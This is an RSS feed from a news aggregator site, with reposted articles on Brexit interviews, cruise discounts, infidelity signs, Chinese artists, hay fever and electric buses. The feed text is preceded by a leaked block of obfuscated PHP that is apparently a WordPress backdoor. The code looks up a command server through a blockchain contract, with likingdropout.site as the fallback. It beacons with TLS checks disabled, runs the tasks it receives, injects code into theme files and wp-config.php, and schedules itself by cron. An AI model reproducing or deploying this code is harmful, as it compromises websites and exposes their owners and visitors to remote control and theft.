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}elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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} $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Avoiding – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 02 Sep 2019 22:45:05 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Avoiding – Brief News https://briefnews.eu 32 32 BBC News: Dan Walker takes Labour MP to task for avoiding ‘straight answers’ over Brexit https://briefnews.eu/bbc-news-dan-walker-takes-labour-mp-to-task-for-avoiding-straight-answers-over-brexit/ https://briefnews.eu/bbc-news-dan-walker-takes-labour-mp-to-task-for-avoiding-straight-answers-over-brexit/#respond Mon, 02 Sep 2019 22:45:05 +0000 http://briefnews.eu/bbc-news-dan-walker-takes-labour-mp-to-task-for-avoiding-straight-answers-over-brexit/

Appearing on the BBC Breakfast sofa to be interviewed by Dan Walker and Louise Minchin, Long-Bailey spoke on Labour’s plans to put through legislation to stop a no deal Brexit.

But Walker wasn’t satisfied with the answers the politician was giving and expressed how “frustrating” it was to keep hearing “ifs and buts”.

It came as he tried to get to the bottom of Labour’s position on a general election.

Walker probed: “Can I try and get you to nail down your position? A general election for example is called by Boris Johnson before the 31st of October, would you back that?”

Long-Bailey answered: “Well, that’s why we are trying to push forward legislation this week that would avoid us being in a No Deal situation.

“There are two things we want to ensure happen this week, firstly we want to ensure that legislation is passed with the full support of Parliament to stop a No Deal Brexit without parliamentary approval and then secondly we want the government to recognise that and ensure that passes through Parliament.

“Any attempt by the government to stop that would be a constitutional outrage and we would not want to be a position during a general election where we crash out without a deal.

“That’s not to say we don’t support a general election because of course we do. We want to get rid of this Conservative government because of the damage it’s done to my constituency and every single constituency across the UK.”

However, it appeared Walker was not happy with her answer and took Rebecca to task over MPs not providing “straight answers”.

He declared: “I don’t want to sound cruel in saying this and you are one of these MPs that come on this programme a lot, you are always ready to answer questions but can you see how it’s frustrating for us to sit here, and I’m sure for our viewers as well, when we ask MPs questions and it’s hard to get a straight answer even when you ask a question two or three times sometimes about what would your position be on this it’s always ifs and buts.”

READ MORE: Steph McGovern: Pregnant BBC Breakfast star flaunts baby bump as she spills on career move

“You asked me if I want a general election, of course we want a general election,” Long-Bailey replied.

Walker interrupted to continue: “I know but don’t you think straight answers, they resonate with people, especially at a time like this?”

Long-Bailey retorted: “I am giving you straight answers, you asked me if we want a general election, of course we want a general election.

“We’ve asked for that repeatedly of a number of weeks and months now because we need to get rid of a Conservative government that’s done untold damage.

“Not just in relation to Brexit but to normal people’s lives right across the country.”

Some viewers were quick to agree with Walker and took to Twitter to comment.

One shared: “@BBCBreakfast @mrdanwalker I completely agree with you – it’s beyond frustrating when Politicians just repeat their agreed sound bites without actually answering a question.”

“@BBCBreakfast @mrdanwalker You’ve hit the nail on the head. We’re all fed up with empty promises. Please don’t interview people who won’t commit to anything,” a second added.

However, some did disagree as one viewer wrote: “@BBCBreakfast FFS she can’t give you a straight answer you morons, the permutations are so great it’s impossible to give black and white answers. Pathetic.”

BBC Breakfast airs weekdays at 6am on BBC One.

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]]> https://briefnews.eu/bbc-news-dan-walker-takes-labour-mp-to-task-for-avoiding-straight-answers-over-brexit/feed/ 0 Cruise secrets: AVOIDING this popular activity could give you access to huge discounts https://briefnews.eu/cruise-secrets-avoiding-this-popular-activity-could-give-you-access-to-huge-discounts/ https://briefnews.eu/cruise-secrets-avoiding-this-popular-activity-could-give-you-access-to-huge-discounts/#respond Mon, 31 Dec 2018 23:18:51 +0000 http://briefnews.eu/cruise-secrets-avoiding-this-popular-activity-could-give-you-access-to-huge-discounts/

For many, a cruise may be a once in a lifetime experience, meaning many people want to make the most of the opportunities that are available while you’re there. This can often include seeing live performances, lazing by the open air swimming pool, and dining in stylish restaurants. On-board spas are also something many guests choose to seek out. However, just like spa treatments on dry land, this indulgent cruise activity can often come at a cost.

Luckily for thrifty Express.co.uk readers, an expert has revealed that there is a way for travellers to make their money go further – without missing out on a trip to the spa.

Earlier this year, Simon Hoe, Global Head of Marketing at Cruise1st exclusively revealed his top tips for bagging the best onboard deals.

And, it seems that there could be a prime time for you to potentially book in for a spa treatment at a bargain price.

Simon explained that when the ship arrives at a port, the cruise lines will dramatically cut their price points on spa treatments.

That’s because many of the guests are likely to disembark the ship for some time, in order to explore the area.

READ MORE: Cruise secrets: Top insider tips to help you make the most of your cruise holiday

With demand for the spa treatments dropping, the team can sometimes offer the guests who have chosen to remain on-board a huge discount.

Simon explained: “Cruise lines tend to ramp up the discounts, offers and reductions on things like spa treatments and dining when in port.

“If nothing takes your fancy onshore, staying in port is an excellent way to treat yourself without splashing out.”

Another word of advice from Simon is about when to book a future cruise.

If you’ve enjoyed the experience so much that you can’t wait to book the next one, doing just that before your current trip ends could save you a small fortune.

Simon spilled: “If you’ve caught the cruise bug and can’t wait for your next one, then a lot of cruise lines let you book your next one while you’re still sailing, which can be a big money saver, allowing for all sorts of exclusive cabin upgrades, all-inclusive offers and reduced single supplements too.”

While travelling on a cruise, passengers may be left slightly concerned if they hear a member of the crew uttering the word “banana” near them.

That’s because it’s rumoured that this fruit could actually serve as a secret code word.

According to www.cruise.co.uk, this is used by some members of the team in order to subtly call out a passenger for being a “bad tipper”.

And, while leaving gratuity may not be required, this secret message is certainly not meant to be complementary.

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]]> https://briefnews.eu/cruise-secrets-avoiding-this-popular-activity-could-give-you-access-to-huge-discounts/feed/ 0 Cheating partner: Avoiding this one thing is a sign your other half might be cheating https://briefnews.eu/cheating-partner-avoiding-this-one-thing-is-a-sign-your-other-half-might-be-cheating/ https://briefnews.eu/cheating-partner-avoiding-this-one-thing-is-a-sign-your-other-half-might-be-cheating/#respond Thu, 16 Aug 2018 21:30:57 +0000 http://briefnews.eu/cheating-partner-avoiding-this-one-thing-is-a-sign-your-other-half-might-be-cheating/

Cheating is something many people in committed romantic relationships are afraid their partner might be doing.

Being unfaithful towards a partner involves betraying their trust if you are in a monogamous relationship.

But could you tell if a partner is cheating on you? There are certain signs that make it easier to tell.

Patti Wood, a body language and relationships expert, told This Is Insider magazine that someone’s change in behaviour might be a sure sign they are being unfaithful.

There is a certain telltale sign that recurs time and time again in relationships where someone is cheating, according to Patti.

If your partner is avoiding serious conversation at all costs it could be a sign that they are cheating on you.

She explained: “If you’re telling your partner that you’re feeling a certain way and they smile, that is not a normal reaction for a loving partner to have. Dupers delight is when they get pleasure from your pain.”

“Intuitively you can usually tell the difference between someone who is trying to avoid a conversation and someone who is getting pleasure out of seeing you upset. That’s a huge red flag.”

However, this is not the only sign your partner might be cheating on you with someone else.

Apparently, another sign is when your partner begins to spend a lot more time on their personal hygiene.

Signs of this include them showering more often or wearing a new aftershave or perfume.

This might be because they are trying to hide the scent of someone else, or putting in the effort to impress whoever they are cheating with.

“If you’re noticing them put a little more time into self-care, and it’s not for you, then they are probably doing it for someone else,” said Patti.

Earlier this year, it was revealed what kind of person your partner might be cheating with.

Cheating in a relationship is increasingly common, with one in five British adults saying they’ve had an affair. But what is it that makes a person take the leap – to go from being tempted to being an adulterer?

There are certain traits that husbands and wives are most attracted to when considering an affair, according to a new survey by Ashley Madison, the married dating website.

The website surveyed 1,010 of its members to come up with the top five qualities men and women look for when they’re thinking about being unfaithful.

The most popular quality was humour at 27 percent for women and 19 percent for men, proving that affairs aren’t always solely physical.

Next came passion, which was slightly more important for men at 18 percent, with 15 percent of women ranking it important.

Third was intelligence at 14 percent for men and 12 percent for women.

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]]> https://briefnews.eu/cheating-partner-avoiding-this-one-thing-is-a-sign-your-other-half-might-be-cheating/feed/ 0 Why Young Chinese Artists Are Avoiding Political Art https://briefnews.eu/why-young-chinese-artists-are-avoiding-political-art/ https://briefnews.eu/why-young-chinese-artists-are-avoiding-political-art/#respond Fri, 27 Jul 2018 11:51:16 +0000 http://briefnews.eu/why-young-chinese-artists-are-avoiding-political-art/ He Xiangyu’s breakthrough exhibit took place in 2011, when he was just 25 years old. The Coca-Cola Project was a mound of noxious, gooey residue extracted from 127 tons of Coca Cola, a landfill shrine to consumerism that could be interpreted as an indictment of capitalist China. After that came a giant military tank made out of Louis Vuitton leather, deflated and powerless on the art-gallery floor but charged with political meaning. It was loud, bold art, speaking to a set of political concerns freshly relevant to the post-Tiananmen generation. But since 2013, He’s art has been minimalist to the point of parody: a huge canvas pasted in olive oil; a wall clock set one hour fast; a single sock inside a glass cabinet. Those pieces, and others by He’s peers, represent a broader trend among younger Chinese artists, as political-statement art gives way to more abstract, contemporary fare.

China’s art market first exploded around the early 2000s, with works by Xu Bing, Zhang Xiaogang, and Yue Minjun selling for millions. After decades of art-as-propaganda, these artists created message art that challenged China’s socialist past and served as commentary on more recent atrocities. One of Yue’s paintings from the nineties that later sold for $ 5.9 million, “Execution,” depicts a firing squad pointing make-believe guns at four men in underwear while both the soldiers and the victims grin maniacally. A famous 1995 artwork by Ai Weiwei, the international darling of Chinese art, depicts him giving the finger to Tiananmen square and the portrait of Mao Zedong on the Forbidden City. During this period, China’s art became synonymous with its politics.

Many artists of the new generation are eschewing all that. They include Zhao Zhao, who cuts cubes out of antique Buddhist statues; Cao Fei, a video and digital-media artist concerned with urban decay; and Guo Hongwei, who arranges tiny piles of concrete ash, decorates empty rooms in colorful streaks, and paints intricate collections of birds, rocks, and leaves. This more conceptual art of “post-80s” or “post-90s” Chinese artists, named for the decades in which they were born, tends to reflect 21st-century themes such as urban malaise and the digital era, rather than narrowly Chinese concerns, including political ones.

Indeed, the shift coincides with diminishing space for free expression since the late aughts, when government authorities blocked various foreign social-media websites and intensified their cultural censorship. Ai, who the Chinese government has scrutinized for years, sustained a head injury when harassed by state security officers in 2009, after creating a work that commemorated the thousands of children who died in shoddily-constructed buildings during the 2008 Sichuan earthquake. And the government’s heavy-handedness has only increased since Xi Jinping became president in 2013. In late 2014, speaking at a cultural forum in Beijing, Xi said that art should serve the people and socialism and “be like sunlight in a blue sky” and like “a cool spring breeze.” His language evoked a famous speech by Mao at the 1942 Yan’an Forum on Literature and Art, in which Mao said “there is, in fact, no such thing as art for art’s sake … art that is detached from or independent of politics.”

Ai has expressed “total disappointment” in the young artists who avoid political art, suggesting that they are caving to government pressure. Those artists insist that’s not the case: “In China, everything reflects the circumstances of Chinese society,” He told me during a visit together to his hometown, near Dandong, on China’s border with North Korea. “But we need to be more thoughtful and flexible about it.” (His differences with Ai go back to before his recent artistic evolution: One of his works from 2011, “The Death of Marat,” is a fiberglass sculpture of Ai’s corpse lying facedown on an exhibition-hall floor.)

To be sure, political pressure from the Chinese government is not the only factor that has influenced Chinese art. Another key element is the market, which drives artistic creation more than some purists would like to imagine. Many Western buyers still favor politically provocative work from China, but many of them have expanded their notion of what Chinese art can be—that is, art for art’s sake rather than relevant to China and its politics alone. “Ten years ago there was a tendency to read Chinese art as a direct commentary on Chinese sociopolitical conditions,” Philip Tinari, the director of the Ullens Center for Contemporary Art in Beijing, said. “Now there is more appetite to look at it as aesthetic practice.” New wealth in China has also led to a rising number of Chinese art collectors who don’t want political art about their nation, or are afraid to own it. “There is no Chinese contemporary art,” Tinari said. “There is just art made by Chinese artists.”

The path of many artists has changed as well, with some gaining early exposure to international influences, and many studying abroad or in art academies that opened in China only in recent decades. “The post-80s generation is very different from the generation of artists who grew up during the Cultural Revolution and then experienced the relative openness of the 1980s and the post-1989 crackdown,” said Luise Guest, a manager of the White Rabbit Collection of Contemporary Chinese Art in Sydney, a private collection. While they are “much less interested in politics as it is narrowly defined,” she continued, their artistic interests still brush against social issues such as the environment, gender, and urbanization. Making explicitly political art is dangerous, they have learned from example—so they focus on other subjects that they are often more interested in anyway.

Last time I saw He, he told me, “I want to change the world’s understanding of Chinese artists.” He had just unveiled his new exhibit: a series of sculptures reconstructing the inside of his mouth, based on how he felt its contours with his tongue.

]]> https://briefnews.eu/why-young-chinese-artists-are-avoiding-political-art/feed/ 0 The Points & Miles Backpacker: Avoiding Fees on Foreign Currencies https://briefnews.eu/the-points-miles-backpacker-avoiding-fees-on-foreign-currencies/ https://briefnews.eu/the-points-miles-backpacker-avoiding-fees-on-foreign-currencies/#respond Mon, 23 Jul 2018 10:10:40 +0000 http://briefnews.eu/the-points-miles-backpacker-avoiding-fees-on-foreign-currencies/

The Points & Miles Backpacker: Avoid Foreign-Currency Fees

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]]> https://briefnews.eu/the-points-miles-backpacker-avoiding-fees-on-foreign-currencies/feed/ 0 How to sleep if you have hay fever: Keep symptoms at bay by avoiding this drink https://briefnews.eu/how-to-sleep-if-you-have-hay-fever-keep-symptoms-at-bay-by-avoiding-this-drink/ https://briefnews.eu/how-to-sleep-if-you-have-hay-fever-keep-symptoms-at-bay-by-avoiding-this-drink/#respond Wed, 04 Jul 2018 22:57:19 +0000 http://briefnews.eu/how-to-sleep-if-you-have-hay-fever-keep-symptoms-at-bay-by-avoiding-this-drink/

Sleep is important for every day bodily function. Not getting enough can have a detrimental effect on a person’s health.

Recurring poor sleep can put you at risk of serious medical conditions such as obesity, heart disease and diabetes, according to the NHS.

Hay fever sufferers have been having another tough week this week after the Met Office warned a “very high” pollen count would continue to sweep across the UK this week.

But hay fever symptoms, including sneezing and coughing, itchy eyes and an itchy throat, can make getting to sleep difficult for hay fever sufferers.

Hay fever symptoms can worsen before bedtime and affect sufferers while they keep because pollen in the air settles.

So what can hay fever sufferers do to help get a better night’s rest? Dr Pixie McKenna has revealed her top tips.

Dr McKenna said: “While we all look forward to the summer months, one thing that plagues many of us is hay fever. Not only is pollen a nuisance during the day, sleepless nights are a common side effect of a high pollen count.

“But, there are a few tricks which you can to do to stop pollen from settling in your room, and make sure you still get the rest you need during these months.”

The first thing to do to help get your much needed forty-winks is to cut down on alcohol.

Beer, wine and spirits contain histamine, which is the chemical that sets off allergy symptoms in your body.

Dr McKenna explained: “As well as making you more sensitive to pollen, alcohol also dehydrates you which can make your hay fever symptoms seem worse. So be sure to drink plenty of water, even at those summer barbeques.”

Keep your windows shut

It’s easier said than done, especially on a hot summer’s night, but it’s important to keep your windows closed at night to ensure you keep the pollen out of your room, advised Dr McKenna.

She added: “If you’re feeling hot, try placing some ice-cold bottles of water on your bed-side table which you can use if you wake up during the night. You could also pop you pillow case in the freezer just before you go to bed, so you have something cool to lie on.”

Keep laundry inside

Dr McKenna said: “It’s tempting to hang your bedding outside to dry during the summer months, but this can cause your pillow cases and duvets to become infused with pollen. If possible, use a tumble dryer, or else hang your bedding up inside to dry.

“It’s also important to wash and change your bedding regularly as this helps to remove traces of pollen which can hang about – plus fresh bedding is great for helping you sleep better.”

Shower before going to bed

Having a shower or bath before you go to bed will wash any stray pollen from your hair or skin which may aggravate your symptoms overnight.

Dr McKenna explained: “A steamy shower will also help clear your sinuses which will make falling asleep easier. Try a shower gel with eucalyptus too – it is a natural way to clear your sinuses, as well as helping soothe throats.”

The power of Vaseline

Vaseline, or any other petroleum jelly, is not just for your lips, according to Dr McKenna.

She said: “Once you’ve brushed your teeth and washed your face, try placing a small smear of Vaseline under your nose to trap any pollen while you’re sleeping.”

If you struggle to get to sleep at night because of the heat, you should try making some simple adjustments to your sleep environment.

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]]> https://briefnews.eu/how-to-sleep-if-you-have-hay-fever-keep-symptoms-at-bay-by-avoiding-this-drink/feed/ 0 Electric buses are avoiding hundreds of thousands of barrels of oil per day https://briefnews.eu/electric-buses-are-avoiding-hundreds-of-thousands-of-barrels-of-oil-per-day/ https://briefnews.eu/electric-buses-are-avoiding-hundreds-of-thousands-of-barrels-of-oil-per-day/#respond Fri, 27 Apr 2018 20:27:56 +0000 http://briefnews.eu/electric-buses-are-avoiding-hundreds-of-thousands-of-barrels-of-oil-per-day/

Enlarge / Electric buses are avoiding the need for a lot of barrels of oil. (credit: Getty Images)

The global fleet of electric buses is already helping cities avoiding the purchase of 279,000 barrels of oil per day, according to Bloomberg New Energy Finance (BNEF). Diesel buses consume an extraordinary amount of fuel compared to a passenger vehicle. Bloomberg noted that “For every 1,000 battery-powered buses on the road, about 500 barrels a day of diesel fuel will be displaced from the market.”

Still, global oil consumption is going up, though maybe not as fast as it might have without electric buses. According to the US Energy Information Administration (EIA), total global oil consumption increased from 96.87 million barrels per day in 2016 to 98.52 million barrels per day in 2017. The EIA projects that the world will consume 100.31 million barrels per day in 2018.

There’s still reason for optimism though, especially given the aggressive push for electric vehicles in some Chinese cities like Shenzhen. The country accounts for 99 percent of the electric buses in the world (though in the country itself, only 17 percent of that fleet is electric). In addition, Bloomberg reports that “every five weeks, Chinese cities add 9,500 of the zero-emissions transporters—the equivalent of London’s entire working fleet.” Those statistics seem to confirm an earlier report from the International Energy Agency (IEA), which noted that in 2016, China had an extraordinary 200 million electric two-wheelers, 3 million to 4 million low-speed electric vehicles, and more than 300,000 electric buses.

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]]> https://briefnews.eu/electric-buses-are-avoiding-hundreds-of-thousands-of-barrels-of-oil-per-day/feed/ 0 China’s new vice president is the country’s best hope for avoiding a trade war https://briefnews.eu/chinas-new-vice-president-is-the-countrys-best-hope-for-avoiding-a-trade-war/ https://briefnews.eu/chinas-new-vice-president-is-the-countrys-best-hope-for-avoiding-a-trade-war/#respond Wed, 21 Mar 2018 04:11:32 +0000 http://briefnews.eu/chinas-new-vice-president-is-the-countrys-best-hope-for-avoiding-a-trade-war/ wang qishan

  • China’s new vice president, Wang Qishan, will be crucial to trade talks between the US and China. 
  • While China’s vice president has historically been a symbolic role, Wang will likely have a very hands-on approach domestically and internationally.
  • Wang has a significant amount of experience as a trade negotiator with the US and Washington sees Wang more favorably than President Xi Jinping in the current climate.  

China’s new Vice President Wang Qishan is the country’s best hope of avoiding a trade war with the US.

Wang, a close ally of President Xi Jinping, is a fierce negotiator with experience mediating US-China relations. Wang was a key player in US economic negotiations under former president Hu Jintao, and was named as one of the most influential people in the world by Time magazine.

See the rest of the story at Business Insider

NOW WATCH: Harvard professor Steven Pinker explains the disturbing truth behind Trump’s 2 favorite phrases

See Also:

SEE ALSO: China takes a swing at Trump and says it ‘won’t be led by emotions’ in trade war — it’ll open its economy ‘even wider’

]]> https://briefnews.eu/chinas-new-vice-president-is-the-countrys-best-hope-for-avoiding-a-trade-war/feed/ 0 5am starts, missing lunch and avoiding Twitter: Here’s how a $135 billion money manager spends his day https://briefnews.eu/5am-starts-missing-lunch-and-avoiding-twitter-heres-how-a-135-billion-money-manager-spends-his-day/ https://briefnews.eu/5am-starts-missing-lunch-and-avoiding-twitter-heres-how-a-135-billion-money-manager-spends-his-day/#respond Thu, 15 Mar 2018 06:56:33 +0000 http://briefnews.eu/5am-starts-missing-lunch-and-avoiding-twitter-heres-how-a-135-billion-money-manager-spends-his-day/ Plane windowBusiness Insider/Will Martin

  • JPMorgan Asset Management’s Malcolm Smith shares what an average day looks like as a $ 135 billion money manager.
  • Smith starts working between 5am and 6am
  • He steers of clear of social media platforms like Twitter and does his best thinking on planes.

LONDON — Work starts early when you’re in charge of more than $ 100 billion of other people’s money.

Malcolm Smith, the head of JPMorgan Asset Management’s $ 135 billion international equity group, usually wakes at around 5:00 am, and is working almost straight away, he told Business Insider in an interview in February.

See the rest of the story at Business Insider

NOW WATCH: Here’s a great explanation of what the blockchain is from the person tasked with explaining it to the world

See Also:

SEE ALSO: A 36-year-old in charge of $ 135 billion shares his ‘awkward’ advice for making it to the top — and it involves going against your instincts

]]> https://briefnews.eu/5am-starts-missing-lunch-and-avoiding-twitter-heres-how-a-135-billion-money-manager-spends-his-day/feed/ 0 Arthritis pain and other symptoms could be relieved by avoiding this nightshade vegetable https://briefnews.eu/arthritis-pain-and-other-symptoms-could-be-relieved-by-avoiding-this-nightshade-vegetable/ https://briefnews.eu/arthritis-pain-and-other-symptoms-could-be-relieved-by-avoiding-this-nightshade-vegetable/#respond Wed, 07 Mar 2018 10:58:57 +0000 http://briefnews.eu/arthritis-pain-and-other-symptoms-could-be-relieved-by-avoiding-this-nightshade-vegetable/

ARTHRITIS pain and joint inflammation are common symptoms of the condition. There is treatment available to slow down arthritis, and some experts believe cutting certain foods out your diet like nightshade vegetables can offer relief.

]]> https://briefnews.eu/arthritis-pain-and-other-symptoms-could-be-relieved-by-avoiding-this-nightshade-vegetable/feed/ 0